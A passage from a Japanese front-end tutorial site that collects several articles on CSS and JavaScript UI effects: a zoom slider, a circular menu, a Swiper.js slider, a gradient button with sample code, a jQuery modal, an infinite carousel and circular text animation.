で変えたプロパティが全部並んでいるかを見ます。ここに載っていないプロパティは0秒で切り替わる、つまり瞬間的にジャンプします。「なぜか一部だけカクつく」という症状の原因は、ほぼこれです。 観測箇所合格不合格Computed transition-propertycolor, text-shadow のように、:hover で変えたプロパティが漏れなく並ぶcolor だけなど、変えたはずのプロパティが欠けているComputed transition-durationプロパティの数だけ値が並ぶ（例: 0.3s, 0.3s）値が1つしかない＝2つ目以降に時間が割り当たっていない 実測で挙動を確かめました。 ### [CSSだけで作るズームスライダーアニメーション｜CodePenサンプル 実装ガイド](https://codequest.work/slide-zoom-down/) Webサイトのメインビューは、訪問者の第一印象を決める重要な要素です。 Webサイトのメインビューは、訪問者の第一印象を決める重要な要素です。そのため、デザインやアニメーションで他のサイトと差別化することが非常に重要です。今回、HTMLとCSSだけを使い、メインビュースライダーに縮小アニメーションを追加する方法を解説します。 この手法ではJavaScriptを使用せず、シンプルなコード構成でアニメーションを実現しています。アニメーションは「1.15倍から1倍に縮小」という動きが特徴で、訪問者の目を引きつけるスタイリッシュな演出が可能です。 スライダーの特徴 1. 拡大縮小アニメーションで視覚的インパクト スライダーに「拡大から縮小」へ変化するアニメーションを採用しています。この動きにより、訪問者の目を引きつけ、サイト全体の印象をアップさせることができます。 2. レスポンシブ対応 CSSだけでレスポンシブデザインを実現しており、スマートフォンやタブレットなどの様々なデバイスでも美しく動作します。 3. 軽量で高速 JavaScriptを使用しないため、コードが軽量で読み込みも高速。パフォーマンスを重視するサイトに最適です。 4. オートスライド機能 アニメーションの@keyframesを利用して、スライドが自動的に切り替わる仕組みを実現。設定した時間間隔でスライドが次々と表示されます。 コードのポイント解説 1. HTML構造 HTMLは非常にシンプルです。スライダーコンテナ（.slider）内に複数のスライド（.slide）を配置し、それぞれのスライドには画像を含めています。 2. CSSアニメーション opacityプロパティでスライドの表示/非表示を制御。 transform: scale()で拡大縮小アニメーションを追加。 @keyframesでアニメーションの詳細な動きを設定。 3. 遅延スタートでスライドを切り替え 各スライドに異なるアニメーション遅延（animation-delay）を設定し、3つのスライドがループするように調整しています。 活用例 ポートフォリオサイト デザイナーやフリーランスのWeb開発者が、自身の作品を紹介する際に使用できます。動きのあるスライダーで、訪問者にインパクトを与えられます。 製品プロモーション 商品の画像や特徴をスライダーで魅力的に見せることができます。動きのあるデザインは、特にeコマースサイトで有効です。 企業サイト 企業のトップページにこのスライダーを導入することで、洗練された印象を与えられます。 カスタマイズポイント 1. 画像の切り替え速度 @keyframes内の15%や45%などのタイミングを調整することで、画像の表示時間を変更可能です。 2. スライド数の増減 HTML内のスライド数を増やしたり減らしたりすることで、スライダーのボリュームを調整できます。 3. 背景色やフォントスタイルの変更 sliderやslideに背景色やテキストを追加し、サイト全体のテーマに合わせたデザインに変更可能です。 See the Pen slide-zoom-down by masakazuimai (@masakazuimai) on CodePen. カスタマイズ例1: テキストキャプションを追加 スライドごとにテキストキャプションを追加して、画像だけでなくメッセージを表示するスライダーを作成します。 カスタマイズ例2: カラーフィルタ付きスライダー スライドにカラーフィルタを追加して、画像の雰囲気を変更します。 これらのカスタマイズ例を組み合わせたり応用したりして、独自のスライダーを作成できます!他にもカスタマイズできるので是非チャレンジしてみてください！ スライダーのさらなる魅力 1. カスタマイズ可能なアニメーション このスライダーでは、@keyframesを利用してアニメーションを設定していますが、アニメーションの種類を簡単にカスタマイズできます。例えば： transform: rotate() を追加して、画像を回転させながら切り替える。 transform: translateX() を使用して、左右にスライドさせる動きを加える。 こうした工夫で、より個性的なスライダーを作成できます。 2. スライダーの高さと幅の調整 height: 80vw;やwidth: 100%;といったスタイルは、どんなデバイスにもフィットするように設計されています。しかし、以下のように変更して特定の用途に合わせた調整も可能です： フルスクリーンで見せたい場合はheight: 100vh;に変更。 特定の比率（例：16:9）を保ちたい場合はaspect-ratioプロパティを使用。 これにより、ギャラリーやランディングページなどの様々なシチュエーションに対応できます。 3. トランジションの滑らかさ スライドの切り替え時に使用しているtransitionプロパティは、以下のように調整可能です： 画像の表示速度をゆっくりにしたい場合はtransition: transform 15s linear, opacity 2s ease;のように変更。 これにより、視覚的な印象を細かく調整できます。 transition-timing-functionをease-in-outに変更すると、さらに滑らかなアニメーションを実現。 応用例 1. 動画を背景にしたスライダー 画像だけでなく、<video>タグをスライダー内に配置することで、動きのある背景動画を使ったスライダーも作成できます。object-fit: cover;を適用すれば、どのデバイスでも見栄えよく表示可能です。 2. キャプション付きスライダー スライド画像にタイトルや説明を加えたい場合、以下のようにHTMLを拡張できます： <div class="slide"> <img src="https://picsum.photos/800/600?random=1" alt="画像1" /> <div class="caption"> <h3>スライダーのタイトル</h3> <p>スライダーの説明文</p> </div> </div> CSSで.captionを適切にスタイリングすることで、プロモーションや製品紹介にも使えるスライダーが完成します。 3. スライダーにボタンを追加 画像の切り替えを手動で行えるボタンを追加することも可能です。JavaScriptなしでも、CSSの:checked擬似クラスを使えば、簡単なインタラクションを追加できます。これにより、ユーザーが操作可能なスライダーとしての役割も持たせることができます。 まとめ このHTMLとCSSだけで実現するスライダーは、コードが簡潔でカスタマイズ性が高いのが特徴です。サイトの目的に合わせたデザインやアニメーションを簡単に追加できるので、初心者から上級者まで幅広く利用できます。ぜひ、このコードを参考に、サイトのトップページやギャラリーに取り入れて、訪問者を引きつける魅力的なデザインを作成してみてください！ 余談ですが、jQueryを使っても実装できるのでチャレンジしてみましょう。 jQueryでのスライダー実装のポイント 1. 基本構造 HTMLはCSSスライダーとほぼ同じで、画像をラップする.sliderと個別の.slide要素を用意します。 2. jQueryでアニメーション制御 CSSアニメーションの代わりに、fadeInやfadeOut、またはanimateを使用してスライドの切り替えを制御します。 3. レスポンシブ対応 jQueryを使う場合も、CSSでレスポンシブ対応を行います。jQueryはあくまで動きの制御に集中し、レイアウトやスタイルはCSSに任せるのがポイントです。 よくある質問（FAQ） Q. CSSだけでズームスライダーを作る方法は？ CSS animationの@keyframesでtransform: scale()を段階的に変化させ、複数の背景画像をopacityの切り替えでスライドさせます。animation-delayで各スライドの開始タイミングをずらし、animation-fill-modeをforwardsに設定することで、シームレスなズーム＋フェード切り替えを実現できます。 Q. CSSスライダーアニメーションのパフォーマンス最適化は？ transformとopacityのみをアニメーション対象にすることで、コンポジタースレッドだけで処理されGPUアクセラレーションが効きます。will-change: transform, opacityを事前に指定し、画像にはloading="lazy"を設定して初期読み込みを軽減してください。大きな画像は表示サイズに合わせてリサイズし、WebP/AVIF形式で配信するのも効果的です。 ### [円形に展開するハンバーガーメニュー｜Circle Menu Button 実装ガイド【CSS＋JS】](https://codequest.work/circle-menu-button/) 円形ナビゲーションメニュー モダンでスタイリッシュな円形のナビゲーションメニューを作成しました！このメニューはCSSとJavaScriptを組み合わせており、直感的なデザインとスムーズなアニメーションが特徴です。今回は、この円形ナビゲーションメニューの機能や実装方法について詳しく解説します。CodePenでコードを公開しているので、簡単に試せるのもポイントです。 このナビゲーションメニューの特徴 レスポンシブ対応ナビゲーションメニューは、あらゆるデバイスで適切に動作するように設計されています。 円形に展開するアニメーションメニューアイコンをクリックすると、項目が円形に展開します。スムーズなアニメーションにより、視覚的にも印象的です。 シンプルなデザインFont Awesomeのアイコンを使用しており、視覚的に分かりやすく直感的です。また、アイコンの下には説明テキストを配置しており、ナビゲーションの用途が一目でわかります。 カスタマイズ可能色やサイズ、展開する角度などをCSSで簡単に調整可能。プロジェクトのデザインに合わせてアレンジができます。 メニュー構成 このナビゲーションメニューには以下の項目が含まれています： ホーム（Home） プロフィール（Profile） 作品集（Portfolio） サービス（Services） 連絡先（Contact） 各項目にはアイコンとテキストがありますが、自由に変更可能です。 アニメーションの仕組み ホバーエフェクトアイコンにホバーすると、背景色が変化し、少し拡大するエフェクトを追加しています。これにより、インタラクティブな体験を提供します。 トグルボタンメニューの展開と閉じる動作は、チェックボックス（<input type="checkbox">）を活用しています。クリックすることで状態が切り替わり、CSSの疑似クラスを使用してアニメーションを制御します。 CSSトランジションメニューが展開する際に各項目が円形に配置され、透明度が変化するアニメーションは、CSSのtransformとopacityを活用しています。 実装のポイント トグルボタンのデザインハンバーガーメニューの形状が、クリック時に「×」に変化する動きが特徴的です。このエフェクトはCSSの::beforeと::afterを活用しています。 メニュー項目の配置メニューアイテムは、nth-child()を活用して個別に配置角度を指定しています。これにより、均等に円形に展開する動作が可能です。 カスタマイズのしやすさメニューの半径や展開する角度を調整することで、デザインを自由に変更できます。 See the Pen circle-menu-button by masakazuimai (@masakazuimai) on CodePen. カスタマイズ例 レスポンシブ対応小さいデバイスではメニューをフルスクリーン表示にするなど、使いやすい設計が可能です。 色の変更アイコンや背景の色を変更して、ブランドカラーに合わせることが可能です。 サイズ調整メニューアイコンの大きさや展開する円の半径を調整して、デザインを最適化します。 ナビゲーションメニューの応用例 サブメニューの導入円形の配置を活かして、メニュー項目の中にさらにサブメニューを展開させることもできます。これにより、より多層的なナビゲーションが実現できます。 動的なリンクの追加ナビゲーションメニューに動的なリンクを追加することで、WebアプリケーションやCMSとの連携が可能です。たとえば、WordPressのカテゴリーやタグをメニューに反映させることも簡単です。 円形メニューの効果的な利用シーン モバイルアプリのWebページスマートフォンの操作性を意識したデザインとして、片手で操作しやすいナビゲーションが提供可能です。 ポートフォリオサイトクリエイティブな印象を与えるデザインとして、作品集やプロジェクトページへのリンクに活用できます。 まとめ 円形ナビゲーションメニューは、モダンでインタラクティブなWebデザインを実現するための優れた方法です。今回の例では、CSSだけでスムーズな動作を実現しています。ぜひCodePenのサンプルを参考に、自分のプロジェクトに取り入れてみてください！ 余談ですが、jQueryを使っても実装できるのでチャレンジしてみましょう。 JavaScriptを使った実装のポイント 1. 基本構造 HTMLの基本構造は同じで、チェックボックスではなく、JavaScriptでクリックイベントを処理してメニューを展開する形に変更します。 2. JavaScriptで動作を制御 ボタンのクリックイベントで、メニューの開閉とアニメーションを制御します。 3. CSSの簡略化 CSSではJavaScriptで動的に設定するプロパティを削除し、スタイルをシンプルに保ちます。 よくある質問（FAQ） Q. 円形に展開するメニューの仕組みは？ ハンバーガーボタンをクリックすると、各メニューアイテムがtransformのrotate()とtranslateX()を使って中心点から円弧状に展開されます。各アイテムの回転角度を等間隔（例：6項目なら60度ずつ）に設定し、CSS transitionでアニメーションさせることで、スムーズな展開・収納の動きを実現します。 Q. 円形メニューのアクセシビリティ対策は？ WAI-ARIAのrole="navigation"とaria-label属性でメニューの役割を明示し、ボタンにはaria-expanded属性で開閉状態を伝えます。キーボード操作（Tab/Enter/Escape）にも対応し、展開時にフォーカストラップを実装してください。視覚的な演出に頼らず、スクリーンリーダーでも操作可能な設計が重要です。 ### [Swiper.jsで作るメインビュースライダー｜レスポンシブ対応のシンプルな実装ガイド](https://codequest.work/swiper-slide/) ウェブサイトの第一印象を決定づける重要な要素である「メインビュー」。その中でもスライダーを使ったデザインは、動きのあるモダンな印象を与えるのに効果的です。本記事では、軽量かつ高機能なライブラリ「Swiper.js」を使って、メインビュースライダーを作る方法を詳しく解説します。初心者でも簡単に実装できるので、ぜひ挑戦してみてください！ Swiper.jsの魅力 Swiper.jsは、以下のような機能を備えた優れたライブラリです： 軽量かつ高性能：スムーズなアニメーションと高速表示を実現。 完全レスポンシブ対応：スマートフォン、タブレット、デスクトップなど、あらゆるデバイスで最適化。 豊富なオプション：自動再生、ページネーション、ループ機能など、多彩な設定が可能。 カスタマイズ性：CSSやJavaScriptを使って、デザインや動きを自由に調整。 これらの特徴により、初心者から上級者まで幅広く利用されています。 メインビュースライダーの活用例 メインビュースライダーは、ウェブサイトにおける「第一印象」を強化する効果的な手法です。以下のような用途で活用されています： ポートフォリオサイト：写真やデザイン作品を動的に表示し、閲覧者を引きつける。 ECサイト：新商品やおすすめ商品のプロモーション。 ブログやニュースサイト：注目記事や特集コンテンツをカルーセルで表示。 Swiper.jsを使うことで、これらのスライダーを簡単に作成できます。 Swiper.jsの導入に必要な準備 Swiper.jsは初心者でも導入しやすい設計になっており、わずか数ステップでスライダーを実装できます。特に、メインビュースライダーは訪問者が最初に目にする要素であるため、しっかりとデザインや動きをカスタマイズすることが大切です。 CDNを使った手軽な導入方法htmlコードをコピーする <link rel="stylesheet" href="https://unpkg.com/swiper/swiper-bundle.min.css" /> <script src="https://unpkg.com/swiper/swiper-bundle.min.js"></script> 初心者向けSwiper.jsのポイント 自動再生の活用：サイト訪問者が操作しなくてもスライドが動くことで、視覚的な楽しさを演出できます。 ページネーションの表示：現在のスライド位置を示すインジケーターを使えば、ユーザーが操作しやすくなります。 レスポンシブ対応：画面サイズに応じた設定を行うことで、スマートフォンでも美しく表示されます。 See the Pen swiper-slide by masakazuimai (@masakazuimai) on CodePen. メインビュースライダーの活用シーン Swiper.jsを活用したメインビュースライダーは、以下のような用途で特に効果を発揮します： ブログやニュースサイト人気記事や最新ニュースをスライダーで表示することで、読者の興味を引きつけます。 ランディングページ（LP）メインビュースライダーで一番目立つ場所に重要な情報や画像を表示し、訪問者の目を引きつけます。 ポートフォリオサイトデザイナーやクリエイターの作品を動的に見せることで、プロフェッショナルな印象を与えます。 ECサイト特集商品やキャンペーン情報をスライダーで表示し、購入意欲を高める効果があります。 Swiper.jsの便利なオプション Swiper.jsには多くのオプションがあり、柔軟にカスタマイズできます。ここでは、特に役立つオプションをいくつか紹介します： navigation前後のスライドに移動するボタンを表示します。 autoplayスライダーを自動再生させるオプション。滞在時間を延ばす効果があります。 loop最後のスライドから最初のスライドに戻る「ループ機能」を有効にするオプション。 pagination現在のスライド位置を示すページネーションを追加できます。 実装のコツ ホバー効果を追加ボタンにホバー（カーソルを合わせたとき）のエフェクトを加えることで、よりインタラクティブな体験を提供できます。 モバイル対応を考慮スマートフォンやタブレットなどさまざまなデバイスで正しく表示されるようレスポンシブデザインを取り入れると良いでしょう。 アニメーションの最適化アニメーションが頻繁に動作する場合、サイトのパフォーマンスに影響を与えることがあります。CSSプロパティの設定に注意し、必要以上に複雑なエフェクトを避けることが重要です。 Swiper.jsで注意すべきポイント 画像の最適化スライダー内で使用する画像は、サイズを最適化してページの読み込み速度を上げましょう。 アクセス解析の活用Google Analyticsなどを利用して、スライダーのクリック率やページ遷移率を確認しましょう。 デザインとパフォーマンスのバランス動きの多いスライダーは視覚的なインパクトがありますが、パフォーマンスへの影響も考慮する必要があります。 まとめ Swiper.jsを使ったメインビュースライダーは、Webサイトにおける視覚的な訴求力を向上させる効果的な手段です。初心者でも簡単に導入でき、豊富なオプションを活用すれば、訪問者にとって魅力的なサイトを作ることができます。 Swiper.jsを使って、動きのある美しいスライダーを実装してみてはいかがでしょうか？ よくある質問（FAQ） Q. Swiper.jsとは何ですか？ Swiper.jsは、タッチスワイプ対応の高機能スライダー/カルーセルライブラリです。jQueryに依存せず、モバイルファーストで設計されています。ページネーション・ナビゲーション・自動再生・ループ・レスポンシブブレイクポイントなど豊富なオプションがあり、CDNから読み込むだけで簡単に導入できます。 Q. Swiper.jsでレスポンシブ対応のスライダーを作るには？ breakpointsオプションを使い、画面幅ごとに表示枚数（slidesPerView）やスライド間隔（spaceBetween）を設定します。例えばモバイルで1枚、タブレットで2枚、PCで3枚表示にする場合、breakpoints: {768: {slidesPerView: 2}, 1024: {slidesPerView: 3}} のように記述します。 Q. Swiper.jsの代替ライブラリにはどんなものがありますか？ 軽量なスライダーとしてSplide.js（軽量で高パフォーマンス）、Embla Carousel（最小限のAPI設計）、Flickity（使いやすいAPI）などがあります。React環境ではembla-carousel-reactが人気です。Swiper.jsは機能が最も豊富ですが、ファイルサイズも大きいため、必要な機能に応じて選択してください。 Swiper・Splide・Slickのコードを実際に見比べて選びたいときは、スライダー／カルーセルジェネレーターの使い方 が便利です。同じ設定のまま3つのライブラリを切り替えて、コピペできるコードを出力できます。 ### [グラデーションボタンの作り方｜CSSのみで実装するアニメーション付きGradient Button](https://codequest.work/gradient-button/) 背景が時間とともに変化するグラデーションボタンの作成ガイド グラデーションボタンは、近代的なウェブデザインにおいて人気のあるエフェクトです。背景が時間とともに変化するボタンは、ユーザーの目を引きつける効果的な方法の1つであり、直感的に使えるデザインを提供します。このようなボタンをCSSだけで簡単に実現できるため、初心者から上級者まで多くのデザイナーや開発者に愛用されています。 グラデーションボタンとは、CSSの linear-gradient と background-position のアニメーションを組み合わせ、背景の色が時間とともに動いて見えるボタンです。JavaScriptを使わず、CSSだけで実装できます。 グラデーションボタンが注目される理由 視覚的インパクトグラデーションボタンは静的なデザインよりも目立ち、ユーザーの注目を集めやすいです。特に、背景色が動的に変化することでサイト全体の印象を強化できます。 ブランドイメージの向上カスタマイズ可能なグラデーションの色合いを活用すれば、ブランドカラーにマッチしたボタンデザインを作成できます。 ユーザーエンゲージメントの向上モダンで洗練されたボタンは、クリック率やアクション誘導の効果を高める可能性があります。 手軽な実装JavaScriptを使わずに、CSSだけで実現可能なため、コードがシンプルでメンテナンスが容易です。 See the Pen gradient-button by masakazuimai (@masakazuimai) on CodePen. コピペで使えるコード 実際のコードはこちらです。ポイントは background-size を要素より大きくとり、background-position を @keyframes でずらして背景を流すことです。まずはHTMLです。 <button class="gradient-btn">購入する</button> 続いてCSSです。このまま貼り付ければ、背景が流れるグラデーションボタンになります。ホバー時は浮き上がる動きを添えています。 .gradient-btn { padding: 14px 32px; border: none; border-radius: 8px; color: #fff; font-size: 16px; font-weight: 600; cursor: pointer; background: linear-gradient(90deg, #4f46e5, #ec4899, #f59e0b, #4f46e5); background-size: 300% auto; animation: gradientMove 4s linear infinite; } @keyframes gradientMove { to { background-position: 300% center; } } .gradient-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(79, 70, 229, 0.4); transition: transform 0.2s ease, box-shadow 0.2s ease; } グラデーションボタンの応用例 コールトゥアクションボタン（CTAボタン）購入ボタンやサブスクライブボタンなど、ユーザーが特定のアクションを起こす場面で活用できます。 フォーム送信ボタン入力フォームの送信ボタンにグラデーションエフェクトを加え、ユーザーに注意を引きます。 ナビゲーションバーナビゲーションメニュー内のリンクとして使用することで、よりモダンな印象を与えられます。 セールやプロモーションセールページの特別なボタンに利用することで、重要な情報を強調します。 デザインの工夫ポイント アクセシビリティグラデーションの色が変化する際にも、十分なコントラストを保つことが重要です。特にテキストをボタンに載せる場合は、視認性を確保するための工夫が必要です。 カラーの選び方グラデーションの色を選ぶ際には、サイト全体の配色やブランドカラーを考慮してください。例えば、淡い色から鮮やかな色への変化は、視覚的に魅力的です。 アニメーション速度アニメーションの速度はユーザー体験に影響を与えます。速すぎるアニメーションは目が疲れる原因となるため、ゆっくりとしたスムーズな動きを設定するのが理想的です。 実装のコツ ホバー効果を追加ボタンにホバー（カーソルを合わせたとき）のエフェクトを加えることで、よりインタラクティブな体験を提供できます。 モバイル対応を考慮スマートフォンやタブレットなどさまざまなデバイスで正しく表示されるようレスポンシブデザインを取り入れると良いでしょう。 アニメーションの最適化アニメーションが頻繁に動作する場合、サイトのパフォーマンスに影響を与えることがあります。CSSプロパティの設定に注意し、必要以上に複雑なエフェクトを避けることが重要です。 グラデーションボタンを使う際の注意点 過剰な装飾を避けるボタンが目立ちすぎると、他のコンテンツとのバランスが崩れる場合があります。全体のデザインを意識して配置しましょう。 パフォーマンスの最適化ページの読み込み速度に影響を与えないよう、CSSアニメーションの設定や画像ファイルのサイズに注意してください。 テストとフィードバック異なるブラウザやデバイスでボタンが正常に動作するかを確認し、必要に応じて修正を加えましょう。 実務Tips（ベストプラクティス集） コントラストを意識する グラデーションボタンは視覚的に華やかですが、背景とのコントラストが弱いと視認性が落ちます。WCAGのコントラスト比を意識して配色を調整しましょう。 グラデーション方向を工夫する linear-gradient の方向を斜めや円形（radial-gradient）にすることで、デザイン全体の雰囲気を変えられます。ブランドカラーに合わせて方向を調整すると統一感が出ます。 ホバー時のアニメーションを追加する transition を使ってホバー時に色合いや角度を変化させると、ボタンの存在感が増します。GSAPを使えばよりリッチな演出も可能です。 アクセシビリティを忘れない 色覚多様性のユーザーでも認識できるよう、単色の境界線やシャドウを併用するのがおすすめです。 再利用可能なクラス設計 ユーティリティクラスやCSS変数を用意しておくと、複数のグラデーションボタンを効率的に管理できます。 よくある質問 Q. グラデーションボタンはSEOに影響しますか？A. 見た目の装飾なのでSEOには直接関係ありません。ただし、CTA（行動喚起ボタン）のクリック率を高める効果が期待できます。 Q. グラデーションボタンはCSSだけで作れますか？A. はい、linear-gradient や radial-gradient を使えばCSSのみで実装可能です。 Q. ホバー時の色変化はどう作ればいいですか？A. :hover に別のグラデーションを指定し、transition を組み合わせると自然な変化が実現できます。 Q. グラデーションの色は何色くらい使うのが良いですか？A. 2〜3色が基本です。色が多すぎると可読性が下がり、逆に押しづらい印象を与える場合があります。 Q. ボタンのサイズによってグラデーションは変えた方がいいですか？A. はい。小さいボタンはシンプルに、大きなボタンは複雑なグラデーションでも映えます。サイズに合わせたデザイン調整がおすすめです。 まとめ 背景が時間とともに変化するグラデーションボタンは、CSSだけで簡単に実装でき、ウェブデザインに動きと魅力を加える素晴らしい手法です。この記事で紹介したポイントを参考に、ぜひあなたのサイトで試してみてください。 CodePenに公開されているサンプルコードを活用し、自分好みのカスタマイズを施して、唯一無二のデザインを目指しましょう！ 面ではなく縁（リム）を光らせたボタンを作りたいなら、SVGフィルタでネオンサインのように発光させる ネオンボタンジェネレーター も合わせてどうぞ。 ### [jQueryで作るモーダルダイアログ実装ガイド｜CSS＋JSで簡単に開閉](https://codequest.work/modal/) モーダルウィンドウ jQueryでモーダルウィンドウを実装するメリット モーダルウィンドウを実装する際、さまざまな方法やライブラリがありますが、jQueryを使うことで以下のような利点があります： 簡潔なコードjQueryを使えば、数行のコードでクリックイベントやアニメーションを簡単に設定できます。初心者にも扱いやすく、複雑なロジックをシンプルに書くことが可能です。 クロスブラウザ対応jQueryは広範なブラウザで動作するよう最適化されており、特に古いバージョンのブラウザでの動作もカバーしています。 カスタマイズ性デフォルトのスタイルや動作を簡単に変更できるため、オリジナルのデザインに合わせてモーダルを作成できます。 「このページでは、jQueryを活用してモーダルウィンドウを簡単に実装する方法を紹介します。CodePenのリンクから実際のサンプルを確認して、すぐに使えるコードを手に入れましょう！ モーダルの特徴と利便性 「モーダルウィンドウの主な利点は以下の通りです：」 ユーザーの注意を引きやすい: 背景を暗くし、モーダル内の情報にフォーカスを当てられる。 操作性が高い: 閉じるボタンやクリックで簡単に操作可能。 デザインの自由度が高い: 内容やアニメーションを自由にカスタマイズできる。 「例えば、以下の用途でモーダルウィンドウを活用できます：」 フォームの入力や送信 イメージギャラリー 重要な通知やメッセージの表示 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 応用例 モーダルウィンドウの具体的な活用シーン モーダルウィンドウは、以下のようなシーンで活用できます： 通知やアラート表示ユーザーに重要なメッセージを即座に伝えたいときに便利です。例：エラーメッセージ、成功メッセージ。 サインアップフォームや問い合わせフォームページ遷移なしでフォームを表示し、スムーズなユーザー体験を提供できます。 イメージギャラリーモーダル内で画像を拡大表示することで、視覚的にわかりやすいデザインを実現します。 情報を強調するポップアップ期間限定キャンペーンや特別なお知らせなど、ユーザーの注意を引く場面で効果的です。 よくある質問（FAQ） Q: jQueryを使う理由は？ jQueryは初心者にも扱いやすく、短いコードで簡単にモーダルを実装できます。特に、クロスブラウザ対応やアニメーションが必要な場合に便利です。 Q: 他のライブラリと比較してどう違いますか？ モーダルライブラリ（BootstrapやSweetAlertなど）は、豊富な機能を提供しますが、jQueryであればカスタマイズ性が高く、軽量に仕上げることが可能です。 まとめ jQueryを使ったモーダルウィンドウの実装は、初心者でも取り組みやすく、上級者にとってもカスタマイズ性の高さが魅力です。Webデザインにおいて、モーダルウィンドウはユーザーの注意を引きつける効果的な手法であり、通知、フォーム、ギャラリーなど幅広い用途に活用できます。この記事で紹介した実装方法を参考に、CodePenのサンプルコードを活用しながら、自分のプロジェクトに取り入れてみてください。さらにカスタマイズや応用を加えることで、より魅力的でプロフェッショナルなUIを実現できます！ ### [無限スクロールアニメーション｜Infinity Scroll 実装ガイド【CSS＋JS】](https://codequest.work/scroll-infinity/) JavaScript不要！軽量で美しいデザインを実現 無限ループするカルーセルアニメーションは、Webサイトで目を引くデザイン要素のひとつです。このページでは、HTMLとCSSだけで簡単に実装できる方法をご紹介します。JavaScript不要で軽量なアニメーションを作成したい方におすすめです！ 1.なぜ無限ループカルーセルを選ぶべきか？ 無限ループカルーセルは、ユーザーに情報を自然に届けるための効果的な方法です。一方向にスムーズに動くデザインは、動きを直感的に理解させ、視覚的な興味を引きつけます。このデザインは特に、製品リストや顧客レビュー、プロモーションバナーなど、繰り返し表示が必要な場面に適しています。 2. HTMLとCSSだけで実現するメリット JavaScriptを使用せずにHTMLとCSSだけで構築することで、以下のようなメリットがあります： 軽量なコード: ページの読み込み速度に影響を与えにくい。 メンテナンスが簡単: CSSだけでアニメーションを調整可能。 モダンなデザイン: シンプルで洗練された見た目を実現。 このように、HTMLとCSSだけで無限ループアニメーションを作成することは、初心者にも適したアプローチです。 3.完成イメージ コンテンツ（テキストや画像）が一定の速度で横に流れ続けるカルーセル。無限ループのアニメーションをCSSの @keyframes を使って実現します。 See the Pen scroll-infinity by masakazuimai (@masakazuimai) on CodePen. 速度の変更 アニメーションの速度は、animation: scroll 10s linear infinite; の 10s を調整して変更可能。 コンテンツの追加 HTMLの .carousel-item を追加するだけで、新しいアイテムを簡単に追加できます。 4. よくある質問（FAQ） Q1: JavaScriptを使ったカルーセルと何が違うの？ HTMLとCSSだけで作成した場合、JavaScriptほどの高度な機能（クリックでの移動、停止、再開）はありませんが、静的な表示や軽量なアニメーションを求める場合には十分です。 Q2: 無限ループアニメーションを使うときの注意点は？ 動きが速すぎるとユーザーにストレスを与えることがあります。適切な速度（5～10秒程度）を設定しましょう。また、文字が読みにくい場合は、フォントサイズや色を調整してください。 5. 実際に使えるシーン 無限ループカルーセルは、以下のような場面で活躍します： 製品リストの紹介: 人気アイテムやセール品を順番に表示。 顧客レビューの表示: ユーザーの感想を目立たせる。 プロモーションバナー: キャンペーンやイベント情報を流す。 まとめ 無限ループするカルーセルアニメーションは、見た目の動きがシンプルながらも、訪問者の目を引きつける効果的なデザイン要素です。今回紹介した方法は、HTMLとCSSだけで実装できるため、JavaScriptを使わず軽量な構成にしたい場合に特におすすめです。 この記事のポイント: HTMLとCSSのみで構築: JavaScript不要で、軽量でメンテナンスが簡単。 柔軟なカスタマイズ: スクロール速度、方向、デザインを簡単に調整可能。 幅広い用途に対応: サイトのバナーや製品紹介、レビューリストなどに最適。 ぜひ、自分のプロジェクトに応じてデザインをカスタマイズし、ユーザーの目を引くカルーセルを活用してみてください！ 次のステップ さらに高度なカルーセル機能や動きのあるUIを実装したい場合、JavaScriptやライブラリ（Swiper.jsなど）を組み合わせる方法も検討してみましょう！ ### [CSSとJavaScriptで円周を動くテキストアニメーションを実装](https://codequest.work/text-on-circle/) 1. このデザインの魅力 文字が円形に配置されて動くデザインは、モダンでインタラクティブなWebデザインの中でも特に目を引く要素です。このデザインを使えば、訪問者の興味を引きつけ、情報を効果的に伝えることができます。特に、以下のような場面で活用できます： ブランドロゴや見出しにアクセントを追加。 サイトのヒーローセクションを目立たせる。 ホバーやクリック時にインタラクティブな効果を付与。 このデザインのポイントは、CSSとJavaScriptだけで動きのあるアニメーションを実現していることです。 2. 実装方法の解説 CodePenで提供しているコードを使えば、すぐに実装が可能です。ここではその構造を簡単に解説します。 HTMLの構造 HTMLでは、テキストを分割し、それぞれを円形に配置するためのコンテナを作成しています。 CSSでの配置とアニメーション CSSでは、transform を使って文字を円形に並べ、 animation で回転するアニメーションを追加しています。この方法により、軽量でパフォーマンスの高いデザインが実現します。 JavaScriptでの動的操作 JavaScriptは、テキストを自動で分割し、それぞれに回転角度を計算して配置する役割を果たしています。これにより、どんな文字列でも簡単に対応可能です。 See the Pen text-on-circle by masakazuimai (@masakazuimai) on CodePen. 3. このデザインの応用例 1. 円の中に画像を配置 テキストの円形配置を活用して、中央にロゴやアイコンを配置することで、さらに視覚的なインパクトを与えられます。 2. インタラクティブなアニメーション ホバーやクリックで回転速度や方向を変化させることで、動きのあるデザインを作成できます。 3. SVGを使ったカスタマイズ SVGと組み合わせることで、自由な曲線や複雑な形状にテキストを沿わせることも可能です。 4.カスタマイズポイント 方向の変更: CSSの @keyframes またはJavaScriptで設定可能。 速度の調整: CSSの @keyframes またはJavaScriptのタイミングで速度を変更できます。 4. よくある質問（FAQ） Q1: このデザインをどのようにサイトで活用できますか？ ブランドロゴ、セクションの見出し、または特別なキャンペーンの目玉として使用できます。 Q2: モバイルデバイスでの動作に問題はありませんか？ CSSとJavaScriptを調整すれば、モバイルにも最適化されたデザインを作成可能です。@media クエリを使用して、フォントサイズや回転速度を調整しましょう。 Q3: 他の形状にも対応できますか？ 可能です。JavaScriptの計算部分を変更すれば、楕円や自由曲線に沿った文字配置も実現できます。 5. 次に試したい応用 スクロール連動型アニメーションスクロールに合わせて文字の回転速度を変化させると、さらにインタラクティブなデザインが作れます。 複数円の連動アニメーション円形テキストを複数配置し、それぞれ異なる速度で動かすことで、動きに奥行きを与えられます。 SVGとCSSアニメーションの組み合わせSVGパスを使ってより柔軟な形状に文字を配置し、CSSでアニメーションを付け加えることも可能です。 まとめ このアニメーションは、サイトのロゴやヘッダーに効果的に活用できます。カスタマイズ可能な部分を活かして、独自のデザインを作成してみてください！ ### [クリップパススクロールアニメーション｜Clip-Pathで拡大する演出の実装ガイド](https://codequest.work/clip-path-animation/) CSSのclip-pathプロパティを使用すると、要素を指定した形状で切り抜くことができ、アニメーションを加えることで動きのあるデザインを実現できます。本記事では、スクロール位置に応じてclip-pathのサイズを動的に変化させ、スタイリッシュなアニメーションを作る方法を解説します。初心者でも簡単に実装できるよう、サンプルコード付きでご紹介します！ 目次 clip-pathアニメーションとは？ カスタマイズのポイント 実用的な活用例 